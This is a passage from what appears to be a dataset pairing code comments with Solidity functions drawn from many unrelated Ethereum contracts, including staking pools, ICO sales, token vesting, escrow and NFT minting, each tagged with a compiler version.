throws on error and does not return false\n wethContract.transfer(party.wallet, party.amount);\n } else {\n // Ensure no unexpected ether is sent.\n require(msg.value == 0,\n \"VALUE_MUST_BE_ZERO\");\n }\n }", "version": "0.5.12"} {"comment": "/**\n * @notice Unwraps WETH to ETH when a trade requires it\n * @dev The unwrapping only succeeds if recipientWallet has approved transferFrom\n * @param recipientWallet address The trade recipient, who may have received WETH\n * @param receivingToken address The token address the recipient received\n * @param amount uint256 The amount of token the recipient received\n */", "function_code": "function _unwrapEther(address recipientWallet, address receivingToken, uint256 amount) internal {\n // Check whether ether needs unwrapping\n if (receivingToken == address(wethContract)) {\n // Transfer weth from the recipient to the wrapper.\n wethContract.transferFrom(recipientWallet, address(this), amount);\n // Unwrap (withdraw) the ether.\n wethContract.withdraw(amount);\n // Transfer ether to the recipient.\n // solium-disable-next-line security/no-call-value\n (bool success, ) = recipientWallet.call.value(amount)(\"\");\n require(success, \"ETH_RETURN_FAILED\");\n }\n }", "version": "0.5.12"} {"comment": "// Deposit LP tokens.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public {\r\n address _sender = msg.sender;\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][_sender];\r\n updatePool(_pid);\r\n if (user.amount > 0) {\r\n uint256 _pending = user.amount.mul(pool.accApePerShare).div(1e18).sub(user.rewardDebt);\r\n if (_pending > 0) {\r\n safeApeTransfer(_sender, _pending);\r\n emit RewardPaid(_sender, _pending);\r\n }\r\n }\r\n if (_amount > 0) {\r\n pool.token.safeTransferFrom(_sender, address(this), _amount);\r\n user.amount = user.amount.add(_amount);\r\n }\r\n user.rewardDebt = user.amount.mul(pool.accApePerShare).div(1e18);\r\n emit Deposit(_sender, _pid, _amount);\r\n }", "version": "0.8.1"} {"comment": "// Withdraw LP tokens.", "function_code": "function withdraw(uint256 _pid, uint256 _amount) public {\r\n address _sender = msg.sender;\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][_sender];\r\n require(user.amount >= _amount, \"withdraw: not good\");\r\n updatePool(_pid);\r\n uint256 _pending = user.amount.mul(pool.accApePerShare).div(1e18).sub(user.rewardDebt);\r\n if (_pending > 0) {\r\n safeApeTransfer(_sender, _pending);\r\n emit RewardPaid(_sender, _pending);\r\n }\r\n if (_amount > 0) {\r\n user.amount = user.amount.sub(_amount);\r\n pool.token.safeTransfer(_sender, _amount);\r\n }\r\n user.rewardDebt = user.amount.mul(pool.accApePerShare).div(1e18);\r\n emit Withdraw(_sender, _pid, _amount);\r\n }", "version": "0.8.1"} {"comment": "// Safe ape transfer function, just in case if rounding error causes pool to not have enough Apes.", "function_code": "function safeApeTransfer(address _to, uint256 _amount) internal {\r\n uint256 _apeBal = ape.balanceOf(address(this));\r\n if (_apeBal > 0) {\r\n if (_amount > _apeBal) {\r\n ape.safeTransfer(_to, _apeBal);\r\n } else {\r\n ape.safeTransfer(_to, _amount);\r\n }\r\n }\r\n }", "version": "0.8.1"} {"comment": "// Transfer amount of tokens from sender account to recipient.\n// Only callable after the crowd fund is completed", "function_code": "function transfer(address _to, uint _value)\r\n {\r\n if (_to == msg.sender) return; // no-op, allow even during crowdsale, in order to work around using grantVestedTokens() while in crowdsale\r\n // if (!isCrowdfundCompleted()) throw;\r\n super.transfer(_to, _value);\r\n }", "version": "0.4.19"} {"comment": "//constant function returns the current XFM price.", "function_code": "function getPriceRate()\r\n constant\r\n returns (uint o_rate)\r\n {\r\n uint delta = now;\r\n if (delta < PRESALE_START_WEEK1) return PRICE_PRESALE_START;\r\n if (delta < PRESALE_START_WEEK2) return PRICE_PRESALE_WEEK1;\r\n if (delta < PRESALE_START_WEEK3) return PRICE_PRESALE_WEEK2;\r\n if (delta < CROWDSALE_START) return PRICE_PRESALE_WEEK3;\r\n return (PRICE_CROWDSALE);\r\n }", "version": "0.4.19"} {"comment": "// Returns `amount` in scope as the number of XFM tokens that it will purchase.", "function_code": "function processPurchase(uint _rate, uint _remaining)\r\n internal\r\n returns (uint o_amount)\r\n {\r\n o_amount = calcAmount(msg.value, _rate);\r\n\r\n if (o_amount > _remaining) throw;\r\n if (!multisigAddress.send(msg.value)) throw;\r\n\r\n balances[ownerAddress] = balances[ownerAddress].sub(o_amount);\r\n balances[msg.sender] = balances[msg.sender].add(o_amount);\r\n\r\n XFMSold += o_amount;\r\n etherRaised += msg.value;\r\n }", "version": "0.4.19"} {"comment": "// To be called at the end of crowdfund period\n// WARNING: transfer(), which is called by grantVestedTokens(), wants a minimum message length", "function_code": "function grantVested(address _XferMoneyTeamAddress, address _XferMoneyFundAddress)\r\n is_crowdfund_completed\r\n only_owner\r\n is_not_halted\r\n {\r\n // Grant tokens pre-allocated for the team\r\n grantVestedTokens(\r\n _XferMoneyTeamAddress, ALLOC_TEAM,\r\n uint64(now), uint64(now) + 91 days , uint64(now) + 365 days, \r\n false, false\r\n );\r\n\r\n // Grant tokens that remain after crowdsale to the XferMoney fund, vested for 2 years\r\n grantVestedTokens(\r\n _XferMoneyFundAddress, balances[ownerAddress],\r\n uint64(now), uint64(now) + 182 days , uint64(now) + 730 days, \r\n false, false\r\n );\r\n }", "version": "0.4.19"} {"comment": "// List every tokens an owner owns", "function_code": "function tokensOfOwner(address _owner) public view returns (uint256[] memory) {\n uint256 tokenCount = balanceOf(_owner);\n if (tokenCount == 0) {\n return new uint256[](0);\n } else {\n uint256[] memory result = new uint256[](tokenCount);\n uint256 index;\n for (index = 0; index < tokenCount; index++) {\n result[index] = tokenOfOwnerByIndex(_owner, index);\n }\n return result;\n }\n }", "version": "0.8.4"} {"comment": "// Before any transfer, add the new owner to the holders list of this token", "function_code": "function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {\n super._beforeTokenTransfer(from, to, tokenId);\n\n // Save the holder only once per token\n if (!_alreadyHoldToken[tokenId][to]) {\n cardInfo[tokenId].holders.push(to);\n _alreadyHoldToken[tokenId][to] = true;\n }\n }", "version": "0.8.4"} {"comment": "//Safe Maths", "function_code": "function mul(uint256 a, uint256 b) internal pure returns (uint256) {\r\n if (a == 0) {\r\n return 0;\r\n }\r\n uint256 c = a * b;\r\n assert(c / a == b);\r\n return c;\r\n }", "version": "0.7.1"} {"comment": "/* Buy Token 1 token for x ether */", "function_code": "function buyTokens() public whenCrowdsaleNotPaused payable {\r\n require(!accounts[msg.sender].blacklisted);\r\n require(msg.value > 0);\r\n require(msg.value >= _tokenPrice);\r\n require(msg.value % _tokenPrice == 0);\r\n var numTokens = msg.value / _tokenPrice;\r\n require(numTokens >= _minimumTokens);\r\n balanceOf[msg.sender] += numTokens;\r\n Transfer(0, msg.sender, numTokens);\r\n wallet.transfer(msg.value);\r\n accounts[msg.sender].balance = accounts[msg.sender].balance.add(numTokens);\r\n insertShareholder(msg.sender);\r\n if (msg.sender != owner) {\r\n totalSupply += numTokens;\r\n }\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev Function to mint tokens: uri must be is unique and msg.value sufficient\r\n * @param to The address that will receive the minted tokens.\r\n * @param tokenURI The token URI of the minted token.\r\n * @return A boolean that indicates if the operation was successful.\r\n */", "function_code": "function mintWithTokenURI(address to, string memory tokenURI) public payable returns (bool) {\r\n require(_enabled == true, \"Minting has been disabled\");\r\n\r\n // Confirm payment\r\n require(msg.value == mintPrice, \"\");\r\n\r\n uint256 tokenId = ++_totalMinted;\r\n\r\n require(bytes(tokenURI).length > 0, \"Invalid tokenURI\");\r\n\r\n // Set and validate tokenURI unique\r\n _mapTokenURIToId(tokenURI, tokenId);\r\n\r\n _mint(to, tokenId);\r\n _setTokenURI(tokenId, tokenURI);\r\n return true;\r\n }", "version": "0.6.12"} {"comment": "//An identifier: eg SBX", "function_code": "function scearu(\r\n uint256 _initialAmount,\r\n string _tokenName,\r\n uint8 _decimalUnits,\r\n string _tokenSymbol\r\n ) public {\r\n balances[msg.sender] = _initialAmount; // Give the creator all initial tokens\r\n totalSupply = _initialAmount; // Update total supply\r\n name = _tokenName; // Set the name for display purposes\r\n decimals = _decimalUnits; // Amount of decimals for display purposes\r\n symbol = _tokenSymbol; // Set the symbol for display purposes\r\n }", "version": "0.4.21"} {"comment": "/// @notice Harvest profits while preventing a sandwich attack exploit.\n/// @param maxBalance The maximum balance of the underlying token that is allowed to be in BentoBox.\n/// @param rebalance Whether BentoBox should rebalance the strategy assets to acheive it's target allocation.\n/// @param maxChangeAmount When rebalancing - the maximum amount that will be deposited to or withdrawn from a strategy to BentoBox.\n/// @param harvestRewards If we want to claim any accrued reward tokens\n/// @dev maxBalance can be set to 0 to keep the previous value.\n/// @dev maxChangeAmount can be set to 0 to allow for full rebalancing.", "function_code": "function safeHarvest(\n uint256 maxBalance,\n bool rebalance,\n uint256 maxChangeAmount,\n bool harvestRewards\n ) external onlyExecutor {\n if (harvestRewards) {\n _harvestRewards();\n }\n\n if (maxBalance > 0) {\n maxBentoBoxBalance = maxBalance;\n }\n\n IBentoBoxMinimal(bentoBox).harvest(strategyToken, rebalance, maxChangeAmount);\n }", "version": "0.8.7"} {"comment": "// Deposit LP tokens to TravelAgency for CITY allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n updatePool(_pid);\r\n if (user.amount > 0) {\r\n uint256 pending = user.amount.mul(pool.accCityPerShare).div(1e12).sub(user.rewardDebt);\r\n safeCityTransfer(msg.sender, pending);\r\n }\r\n pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);\r\n user.amount = user.amount.add(_amount);\r\n user.rewardDebt = user.amount.mul(pool.accCityPerShare).div(1e12);\r\n emit Deposit(msg.sender, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "/// @inheritdoc IStrategy", "function_code": "function withdraw(uint256 amount) external override isActive onlyBentoBox returns (uint256 actualAmount) {\n _withdraw(amount);\n /// @dev Make sure we send and report the exact same amount of tokens by using balanceOf.\n actualAmount = IERC20(strategyToken).balanceOf(address(this));\n IERC20(strategyToken).safeTransfer(bentoBox, actualAmount);\n }", "version": "0.8.7"} {"comment": "/// @inheritdoc IStrategy\n/// @dev do not use isActive modifier here; allow bentobox to call strategy.exit() multiple times", "function_code": "function exit(uint256 balance) external override onlyBentoBox returns (int256 amountAdded) {\n _exit();\n /// @dev Check balance of token on the contract.\n uint256 actualBalance = IERC20(strategyToken).balanceOf(address(this));\n /// @dev Calculate tokens added (or lost).\n amountAdded = int256(actualBalance) - int256(balance);\n /// @dev Transfer all tokens to bentoBox.\n IERC20(strategyToken).safeTransfer(bentoBox, actualBalance);\n /// @dev Flag as exited, allowing the owner to manually deal with any amounts available later.\n exited = true;\n }", "version": "0.8.7"} {"comment": "//***************************** TRANSFER TOKENS FROM YOUR ACCOUNT **************", "function_code": "function transfer(address _to, uint256 _val)\r\npublic returns (bool) {\r\nrequire(holders[msg.sender] >= _val);\r\nrequire(msg.sender != _to);\r\nassert(_val <= holders[msg.sender]);\r\nholders[msg.sender] = holders[msg.sender] - _val;\r\nholders[_to] = holders[_to] + _val;\r\nassert(holders[_to] >= _val);\r\nemit Transfer(msg.sender, _to, _val);\r\nreturn true;\r\n}", "version": "0.4.26"} {"comment": "//**************************** TRANSFER TOKENS FROM ANOTHER ACCOUNT ************", "function_code": "function transferFrom(address _from, address _to, uint256 _val)\r\npublic returns (bool) {\r\nrequire(holders[_from] >= _val);\r\nrequire(approach[_from][msg.sender] >= _val);\r\nassert(_val <= holders[_from]);\r\nholders[_from] = holders[_from] - _val;\r\nassert(_val <= approach[_from][msg.sender]);\r\napproach[_from][msg.sender] = approach[_from][msg.sender] - _val;\r\nholders[_to] = holders[_to] + _val;\r\nassert(holders[_to] >= _val);\r\nemit Transfer(_from, _to, _val);\r\nreturn true;\r\n}", "version": "0.4.26"} {"comment": "/**\n * @notice Buy function. Used to buy tokens using ETH, USDT or USDC\n * @param _paymentAmount --> Result of multiply number of tokens to buy per price per token. Must be always multiplied per 1000 to avoid decimals\n * @param _tokenPayment --> Address of the payment token (or 0x0 if payment is ETH)\n */", "function_code": "function buy(uint256 _paymentAmount, address _tokenPayment) external payable {\n require(_isICOActive() == true, \"ICONotActive\");\n \n uint256 paidTokens = 0;\n\n if (msg.value == 0) {\n // Stable coin payment\n require(_paymentAmount > 0, \"BadPayment\");\n require(_tokenPayment == usdtToken || _tokenPayment == usdcToken, \"TokenNotSupported\");\n require(IERC20(_tokenPayment).transferFrom(msg.sender, address(this), _paymentAmount));\n paidTokens = _paymentAmount * 2666666666666666667 / 1000000000000000000; // 0.375$ per token in the ICO\n } else {\n // ETH Payment\n uint256 usdETH = _getUSDETHPrice();\n uint256 paidUSD = msg.value * usdETH / 10**18;\n paidTokens = paidUSD * 2666666666666666666 / 1000000000000000000; // 0.375$ per token in the ICO\n }\n\n require((paidTokens + 1*10**18) >= minTokensBuyAllowed, \"BadTokensQuantity\"); // One extra token as threshold rounding decimals\n require(maxICOTokens - icoTokensBought >= paidTokens, \"NoEnoughTokensInICO\");\n userBoughtTokens[msg.sender] += paidTokens;\n icoTokensBought += paidTokens;\n if (maxICOTokens - icoTokensBought < minTokensBuyAllowed) {\n // We finish the ICO\n icoFinished = true;\n emit onICOFinished(block.timestamp);\n }\n\n emit onTokensBought(msg.sender, paidTokens, _paymentAmount, _tokenPayment);\n }", "version": "0.8.7"} {"comment": "/**\n * @notice Get the vesting unlock dates\n * @param _period --> There are 4 periods (0,1,2,3)\n * @return _date Returns the date in UnixDateTime UTC format\n */", "function_code": "function getVestingDate(uint256 _period) external view returns(uint256 _date) {\n if (_period == 0) {\n _date = tokenListingDate;\n } else if (_period == 1) {\n _date = tokenListingDate + _3_MONTHS_IN_SECONDS;\n } else if (_period == 2) {\n _date = tokenListingDate + _6_MONTHS_IN_SECONDS;\n } else if (_period == 3) {\n _date = tokenListingDate + _9_MONTHS_IN_SECONDS;\n }\n }", "version": "0.8.7"} {"comment": "/**\n * @notice Uses Chainlink to query the USDETH price\n * @return Returns the ETH amount in weis (Fixed value of 3932.4 USDs in localhost development environments)\n */", "function_code": "function _getUSDETHPrice() internal view returns(uint256) {\n int price = 0;\n\n if (address(priceFeed) != address(0)) {\n (, price, , , ) = priceFeed.latestRoundData();\n } else {\n // For local testing\n price = 393240000000;\n }\n\n return uint256(price * 10**10);\n }", "version": "0.8.7"} {"comment": "//create new escrow", "function_code": "function createNewEscrow(address escrowpayee, uint escrowamount) external \n {\n \n require(factorycontractactive, \"Factory Contract should be Active\");\n require(escrowid < maxuint, \"Maximum escrowid reached\");\n require(msg.sender != escrowpayee,\"The Payer, payee should be different\");\n require(escrowpayee != address(0),\"The Escrow Payee can not be address(0)\");\n require(escrowamount > 0,\"Escrow amount has to be greater than 0\");\n \n require(daiToken.allowance(msg.sender,address(this)) >= mathlib.add(escrowamount, escrowfee), \"daiToken allowance exceeded\");\n \n bytes32 esid = keccak256(abi.encodePacked(escrowid));\n \n Escrows[esid] = Escrow({escrowpayer:msg.sender, escrowpayee:escrowpayee, escrowamount:escrowamount,\n escrowsettlementamount:escrowamount, estatus:escrowstatus.ACTIVATED,escrowmoderator:address(0),escrowmoderatorfee:0});\n \n escrowid = mathlib.add(escrowid,1);\n \n //The Esrow Amount gets transferred to factory contract\n daiToken.transferFrom(msg.sender, address(this), escrowamount);\n \n //Transfer the escrow fee to factory manager\n daiToken.transferFrom(msg.sender, manager, escrowfee);\n \n emit NewEscrowEvent(esid, msg.sender, escrowpayee, escrowamount, now);\n \n emit NewEscrowEventById(esid, msg.sender, escrowpayee, escrowamount, now);\n \n }", "version": "0.6.12"} {"comment": "//create new escrow overload", "function_code": "function createNewEscrow(address escrowpayee, uint escrowamount, address escrowmoderator, uint escrowmoderatorfee) external \n {\n \n require(factorycontractactive, \"Factory Contract should be Active\");\n require(escrowid < maxuint, \"Maximum escrowid reached\");\n require(msg.sender != escrowpayee && msg.sender != escrowmoderator && escrowpayee != escrowmoderator,\"The Payer, payee & moderator should be different\");\n require(escrowpayee != address(0) && escrowmoderator!=address(0),\"Escrow Payee or moderator can not be address(0)\");\n require(escrowamount > 0,\"Escrow amount has to be greater than 0\");\n \n uint dailockedinnewescrow = mathlib.add(escrowamount,escrowmoderatorfee);\n \n require(daiToken.allowance(msg.sender,address(this)) >= mathlib.add(dailockedinnewescrow, escrowfee), \"daiToken allowance exceeded\");\n \n bytes32 esid = keccak256(abi.encodePacked(escrowid));\n \n Escrows[esid] = Escrows[esid] = Escrow({escrowpayer:msg.sender, escrowpayee:escrowpayee, escrowamount:escrowamount,\n escrowsettlementamount:escrowamount, estatus:escrowstatus.ACTIVATED,escrowmoderator:escrowmoderator,escrowmoderatorfee:escrowmoderatorfee});\n \n escrowid = mathlib.add(escrowid,1);\n \n //The Esrow Amount and Moderator fee gets transferred to factory contract\n daiToken.transferFrom(msg.sender, address(this), dailockedinnewescrow);\n \n //Transfer the escrow fee to factory manager\n daiToken.transferFrom(msg.sender, manager, escrowfee);\n \n emit NewEscrowEvent(esid, msg.sender, escrowpayee, escrowamount, escrowmoderator, escrowmoderatorfee ,now);\n \n emit NewEscrowEventById(esid, msg.sender, escrowpayee, escrowamount, escrowmoderator, escrowmoderatorfee, now);\n \n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Claim your share of the balance.\r\n */", "function_code": "function claim() public {\r\n address payee = msg.sender;\r\n\r\n require(shares[payee] > 0);\r\n\r\n uint256 totalReceived = this.balance.add(totalReleased);\r\n uint256 payment = totalReceived.mul(shares[payee]).div(totalShares).sub(released[payee]);\r\n\r\n require(payment != 0);\r\n require(this.balance >= payment);\r\n\r\n released[payee] = released[payee].add(payment);\r\n totalReleased = totalReleased.add(payment);\r\n\r\n payee.transfer(payment);\r\n }", "version": "0.4.21"} {"comment": "/*function _transfer(address _from, address _to, uint256 _tokenId) internal {\r\n \r\n ownershipTokenCount[_to]++;\r\n // transfer ownership\r\n cardIndexToOwner[_tokenId] = _to;\r\n \r\n // Emit the transfer event.\r\n Transfer(_from, _to, _tokenId);\r\n \r\n }*/", "function_code": "function _createCard(uint256 _prototypeId, address _owner) internal returns (uint) {\r\n\r\n // This will assign ownership, and also emit the Transfer event as\r\n // per ERC721 draft\r\n require(uint256(1000000) > lastPrintedCard);\r\n lastPrintedCard++;\r\n tokenToCardIndex[lastPrintedCard] = _prototypeId;\r\n _setTokenOwner(lastPrintedCard, _owner);\r\n //_addTokenToOwnersList(_owner, lastPrintedCard);\r\n Transfer(0, _owner, lastPrintedCard);\r\n //tokenCountIndex[_prototypeId]++;\r\n \r\n //_transfer(0, _owner, lastPrintedCard); //<-- asd\r\n \r\n\r\n return lastPrintedCard;\r\n }", "version": "0.4.21"} {"comment": "/// @notice Transfers the ownership of an NFT from one address to another address\n/// @dev This works identically to the other function with an extra data parameter,\n/// except this function just sets data to \"\"\n/// @param _from The current owner of the NFT\n/// @param _to The new owner\n/// @param _tokenId The NFT to transfer", "function_code": "function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable {\r\n require(_getApproved(_tokenId) == msg.sender);\r\n require(_ownerOf(_tokenId) == _from);\r\n require(_to != address(0));\r\n\r\n _clearApprovalAndTransfer(_from, _to, _tokenId);\r\n\r\n Approval(_from, 0, _tokenId);\r\n Transfer(_from, _to, _tokenId);\r\n\r\n if (isContract(_to)) {\r\n bytes4 value = ERC721TokenReceiver(_to).onERC721Received(_from, _tokenId, \"\");\r\n\r\n if (value != bytes4(keccak256(\"onERC721Received(address,uint256,bytes)\"))) {\r\n revert();\r\n }\r\n }\r\n }", "version": "0.4.21"} {"comment": "/// @inheritdoc IPeripheryPayments", "function_code": "function sweepToken(\n address token,\n uint256 amountMinimum,\n address recipient\n ) external payable override {\n uint256 balanceToken = IERC20(token).balanceOf(address(this));\n require(balanceToken >= amountMinimum, 'Insufficient token');\n\n if (balanceToken > 0) {\n TransferHelper.safeTransfer(token, recipient, balanceToken);\n }\n }", "version": "0.8.6"} {"comment": "/// @param token The token to pay\n/// @param payer The entity that must pay\n/// @param recipient The entity that will receive payment\n/// @param value The amount to pay", "function_code": "function pay(\n address token,\n address payer,\n address recipient,\n uint256 value\n ) internal {\n if (token == WETH9 && address(this).balance >= value) {\n // pay with WETH9\n IWETH9(WETH9).deposit{value: value}(); // wrap only what is needed to pay\n IWETH9(WETH9).transfer(recipient, value);\n } else if (payer == address(this)) {\n // pay with tokens already in the contract (for the exact input multihop case)\n TransferHelper.safeTransfer(token, recipient, value);\n } else {\n // pull payment\n TransferHelper.safeTransferFrom(token, payer, recipient, value);\n }\n }", "version": "0.8.6"} {"comment": "/**\r\n * Returns whether the target address is a contract\r\n * @dev This function will return false if invoked during the constructor of a contract,\r\n * as the code is not actually created until after the constructor finishes.\r\n * @param _addr address to check\r\n * @return whether the target address is a contract\r\n */", "function_code": "function isContract(address _addr) internal view returns (bool) {\r\n uint256 size;\r\n // XXX Currently there is no better way to check if there is a contract in an address\r\n // than to check the size of the code at that address.\r\n // See https://ethereum.stackexchange.com/a/14016/36603\r\n // for more details about how this works.\r\n // TODO Check this again before the Serenity release, because all addresses will be\r\n // contracts then.\r\n // solium-disable-next-line security/no-inline-assembly\r\n assembly { size := extcodesize(_addr) }\r\n return size > 0;\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Transfers the ownership of a given token ID to another address\r\n * Usage of this method is discouraged, use `safeTransferFrom` whenever possible\r\n * Requires the msg sender to be the owner, approved, or operator\r\n * @param _from current owner of the token\r\n * @param _to address to receive the ownership of the given token ID\r\n * @param _tokenId uint256 ID of the token to be transferred\r\n */", "function_code": "function transferFrom(\r\n address _from,\r\n address _to,\r\n uint256 _tokenId\r\n )\r\n public\r\n override\r\n {\r\n require(isApprovedOrOwner(msg.sender, _tokenId));\r\n require(_from != address(0));\r\n require(_to != address(0));\r\n\r\n clearApproval(_from, _tokenId);\r\n removeTokenFrom(_from, _tokenId);\r\n addTokenTo(_to, _tokenId);\r\n\r\n emit Transfer(_from, _to, _tokenId);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Returns whether the given spender can transfer a given token ID\r\n * @param _spender address of the spender to query\r\n * @param _tokenId uint256 ID of the token to be transferred\r\n * @return bool whether the msg.sender is approved for the given token ID,\r\n * is an operator of the owner, or is the owner of the token\r\n */", "function_code": "function isApprovedOrOwner(\r\n address _spender,\r\n uint256 _tokenId\r\n )\r\n internal\r\n view\r\n returns (bool)\r\n {\r\n address owner = ownerOf(_tokenId);\r\n // Disable solium check because of\r\n // https://github.com/duaraghav8/Solium/issues/175\r\n // solium-disable-next-line operator-whitespace\r\n return (\r\n _spender == owner ||\r\n getApproved(_tokenId) == _spender ||\r\n isApprovedForAll(owner, _spender)\r\n );\r\n }", "version": "0.6.12"} {"comment": "// set room message", "function_code": "function setRoomMessage(uint256 tokenId, string memory newRoomMessage) external payable {\r\n require(_tokenIdCounter.current() >= tokenId && tokenId > 0, tokenIdInvalid);\r\n require( msg.sender == ownerOf(tokenId), \"token owner only\");\r\n require( msg.value >= _price, \"incorrect ETH sent\" );\r\n _roomMessage[tokenId] = newRoomMessage;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Returns an URI for a given token ID.\r\n * Throws if the token ID does not exist. May return an empty string.\r\n * @param tokenId uint256 ID of the token to query\r\n */", "function_code": "function tokenURI(uint256 tokenId) external view returns (string memory) {\r\n require(exists(tokenId), \"ERC721Metadata: URI query for nonexistent token\");\r\n string memory url = _tokenURIs[tokenId];\r\n bytes memory urlAsBytes = bytes(url);\r\n if (urlAsBytes.length == 0) {\r\n bytes memory baseURIAsBytes = bytes(baseURI);\r\n bytes memory tokenIdAsBytes = uintToBytes(tokenId);\r\n bytes memory b = new bytes(baseURIAsBytes.length + tokenIdAsBytes.length);\r\n uint256 i;\r\n uint256 j;\r\n for (i = 0; i < baseURIAsBytes.length; i++) {\r\n b[j++] = baseURIAsBytes[i];\r\n }\r\n for (i = 0; i < tokenIdAsBytes.length; i++) {\r\n b[j++] = tokenIdAsBytes[i];\r\n }\r\n return string(b);\r\n } else {\r\n return _tokenURIs[tokenId];\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Mint token\r\n *\r\n * @param _to address of token owner\r\n */", "function_code": "function mint(address _to,uint256 amount) public returns (uint256) {\r\n \r\n require(_tokenIds.current() + amount < _max_supply, \"CulturalArtTreasure: maximum quantity reached\");\r\n require(amount > 0, \"You must buy at least one .\");\r\n uint256 newTokenId = 1;\r\n for (uint256 i = 0; i < amount; i++) {\r\n\t\t\t_tokenIds.increment();\r\n\t\t\t newTokenId = _tokenIds.current();\r\n\t\t\t \r\n\t\t\t_mint(_to, newTokenId);\r\n\r\n\t\t\tAttributes.Data storage attributes = attributesByTokenIds[newTokenId];\r\n\t\t\tattributes.init();\r\n }\r\n return newTokenId;\r\n }", "version": "0.6.12"} {"comment": "// get room message", "function_code": "function getRoomMessage(uint256 tokenId) public view returns (string memory) {\r\n require(_tokenIdCounter.current() >= tokenId && tokenId > 0, tokenIdInvalid);\r\n bytes memory tempEmptyStringTest = bytes(_roomMessage[tokenId]);\r\n if (tempEmptyStringTest.length == 0) {\r\n uint256 randMsg = random(\"nft\", tokenId);\r\n if (randMsg % 17 == 3)\r\n return \"LFG!\";\r\n else if (randMsg % 7 == 3)\r\n return \"WAGMI!\";\r\n else\r\n return \"gm!\";\r\n } else {\r\n return _roomMessage[tokenId];\r\n }\r\n }", "version": "0.8.7"} {"comment": "// mint num of keycards", "function_code": "function mint(uint256 num) external payable nonReentrant {\r\n require( _publicSale, \"public sale paused\" );\r\n require( num <= 10, \"max 10 per TX\" );\r\n require( _tokenIdCounter.current() + num <= _maxSupply, \"max supply reached\" );\r\n require( msg.value >= _price * num, \"incorrect ETH sent\" );\r\n\r\n for( uint i = 0; i < num; i++ ) {\r\n _safeMint(_msgSender(), _tokenIdCounter.current() + 1);\r\n _tokenIdCounter.increment();\r\n }\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Creates a vesting contract that vests its balance of any ERC20 token to the\r\n * _beneficiary, gradually in a linear fashion until _start + _duration. By then all\r\n * of the balance will have vested.\r\n * @param _beneficiary address of the beneficiary to whom vested tokens are transferred\r\n * @param _cliff duration in seconds of the cliff in which tokens will begin to vest\r\n * @param _duration duration in seconds of the period in which the tokens will vest\r\n * @param _revocable whether the vesting is revocable or not\r\n */", "function_code": "function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public {\r\n require(_beneficiary != address(0));\r\n require(_cliff <= _duration);\r\n\r\n beneficiary = _beneficiary;\r\n revocable = _revocable;\r\n duration = _duration;\r\n cliff = _start.add(_cliff);\r\n start = _start;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Calculates the amount that has already vested.\r\n * @param token ERC20 token which is being vested\r\n */", "function_code": "function vestedAmount(ERC20Basic token) public view returns (uint256) {\r\n uint256 currentBalance = token.balanceOf(this);\r\n uint256 totalBalance = currentBalance.add(released[token]);\r\n\r\n if (now < cliff) {\r\n return 0;\r\n } else if (now >= start.add(duration) || revoked[token]) {\r\n return totalBalance;\r\n } else {\r\n return totalBalance.mul(now.sub(start)).div(duration);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Issues FTT to entitled accounts.\r\n * @param _user address to issue FTT to.\r\n * @param _fttAmount amount of FTT to issue.\r\n */", "function_code": "function issueFTT(address _user, uint256 _fttAmount)\r\n public\r\n onlyTdeIssuer\r\n tdeRunning\r\n returns(bool)\r\n {\r\n uint256 newAmountIssued = fttIssued.add(_fttAmount);\r\n require(_user != address(0));\r\n require(_fttAmount > 0);\r\n require(newAmountIssued <= FT_TOKEN_SALE_CAP);\r\n\r\n balances[_user] = balances[_user].add(_fttAmount);\r\n fttIssued = newAmountIssued;\r\n FTTIssued(tdeIssuer, _user, _fttAmount, block.timestamp);\r\n\r\n if (fttIssued == FT_TOKEN_SALE_CAP) {\r\n capReached = true;\r\n }\r\n\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Allows the contract owner to finalize the TDE.\r\n */", "function_code": "function finalize()\r\n external\r\n tdeEnded\r\n onlyOwner\r\n {\r\n require(!isFinalized);\r\n\r\n // Deposit team fund amount into team vesting contract.\r\n uint256 teamVestingCliff = 15778476; // 6 months\r\n uint256 teamVestingDuration = 1 years;\r\n TokenVesting teamVesting = new TokenVesting(owner, now, teamVestingCliff, teamVestingDuration, true);\r\n teamVesting.transferOwnership(owner);\r\n teamVestingAddress = address(teamVesting);\r\n balances[teamVestingAddress] = FT_TEAM_FUND;\r\n\r\n if (!capReached) {\r\n // Deposit unsold FTT into unsold vesting contract.\r\n uint256 unsoldVestingCliff = 3 years;\r\n uint256 unsoldVestingDuration = 10 years;\r\n TokenVesting unsoldVesting = new TokenVesting(owner, now, unsoldVestingCliff, unsoldVestingDuration, true);\r\n unsoldVesting.transferOwnership(owner);\r\n unsoldVestingAddress = address(unsoldVesting);\r\n balances[unsoldVestingAddress] = FT_TOKEN_SALE_CAP - fttIssued;\r\n }\r\n\r\n // Allocate operational reserve of FTT.\r\n balances[operationalReserveAddress] = FT_OPERATIONAL_FUND - FT_TEAM_FUND;\r\n\r\n isFinalized = true;\r\n TdeFinalized(block.timestamp);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Transfer tokens from one address to another. Trading limited - requires the TDE to have ended.\r\n * @param _from address The address which you want to send tokens from\r\n * @param _to address The address which you want to transfer to\r\n * @param _value uint256 the amount of tokens to be transferred\r\n */", "function_code": "function transferFrom(address _from, address _to, uint256 _value)\r\n public\r\n returns (bool)\r\n {\r\n if (!isFinalized) return false;\r\n require(_to != address(0));\r\n 